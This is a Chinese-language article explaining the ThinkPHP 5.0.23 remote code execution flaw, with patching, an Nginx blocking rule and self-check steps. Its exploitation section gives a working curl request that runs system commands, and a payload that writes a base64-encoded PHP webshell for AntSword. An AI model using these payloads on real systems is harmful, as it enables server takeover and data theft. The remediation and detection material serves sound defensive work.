thinkphp 5.0.23 rce漏洞本质是\_method参数校验缺失与filter数组污染导致的任意命令执行，攻击者通过post请求劫持request类构造过程，控制server[request_method]并经filter调用system等函数。
ThinkPHP 5.0.23 的 RCE 漏洞本质是框架在请求处理逻辑中未对 _method 参数和 filter 过滤器数组做严格校验，导致攻击者可通过构造 POST 请求劫持 Request 类的构造过程，污染 filter 和 server 属性，最终触发 system、phpinfo 等函数执行任意命令。它不是“插件式”漏洞，而是深层逻辑缺陷，因此没有官方或通用的“一键利用工具”，但有成熟、轻量、可复现的手动利用方式与加固手段。
常用利用方式（无需专用工具）
实际渗透或验证中，以下方法更稳定、可控，且完全基于 HTTP 协议本身：
-
curl 命令直连：适合快速验证是否存在漏洞
curl -X POST "http://target/index.php?s=captcha" --data "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id" -
HackBar / Burp Suite Repeater：适合调试不同命令（如
ls、pwd、cat /etc/passwd）并观察响应细节 -
蚁剑（AntSword）连接 Webshell：在成功写入一句话木马后使用，需配合 base64 编码绕过简单过滤
示例写入：
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg== | base64 -d > shell.php
修复方案（优先级从高到低）
该漏洞已在 5.0.24 版本中修复，生产环境必须升级；若因兼容性无法升级，则需人工补丁或中间件拦截。
- 升级框架（最推荐）：将 ThinkPHP 升级至 ≥5.0.24（5.0.x 分支）或 ≥5.1.31（5.1.x 分支）。升级后 `_method` 参数仅允许白名单方法（GET/POST/PUT/DELETE/PATCH），非法值会被忽略或重置为 POST
-
手动修补 Request.php（应急）：定位到
thinkphp/library/think/Request.php中的method()方法，在解析 `_method` 时加入白名单校验 关键修改：对$_POST[Config::get('var_method')]的值进行in_array($method, ['GET','POST','HEAD','PUT','DELETE','PATCH'])判断，非白名单值直接丢弃或设为默认 POST -
Web 服务器层拦截（兜底）：在 Nginx/Apache 配置中拒绝含危险参数组合的请求
Nginx 示例：
if ($args ~ "_method=__construct.*filter\[\]=.*") { return 403; }注意：规则需覆盖 URL 参数与 POST body，且不能误杀正常业务（如含 `filter[]` 的搜索功能）
检测与自查要点
判断系统是否受影响，不能只看版本号，还需确认运行时配置：
- 访问
/index.php?s=captcha，若返回 500 错误或异常报错（如 “class not found”、“invalid method”），说明路由未强制开启，极可能受影响 - 检查
config/app.php中'url_route_must' => false（默认值），即未启用强制路由 —— 这是漏洞可利用的关键前提 - 查看 Composer.lock 或 vendor/topthink/framework/composer.json，确认实际加载的 thinkphp/core 版本 ≤ 5.0.23
为什么不要依赖“自动化扫描工具”做修复？
很多商业或开源扫描器（如 AWVS、Nuclei 模板）能识别该漏洞，但仅停留在“存在性判断”。它们无法判断： - 当前站点是否已通过中间件（如 WAF）拦截了 `_method` 参数 - 是否自定义了 Request 类并覆盖了 method() 行为 - 是否禁用了 `system`/`exec` 等函数（php.ini 中 disable_functions） 这些因素直接影响漏洞真实危害等级。修复必须落到代码或配置层面，而非仅靠工具打标签。
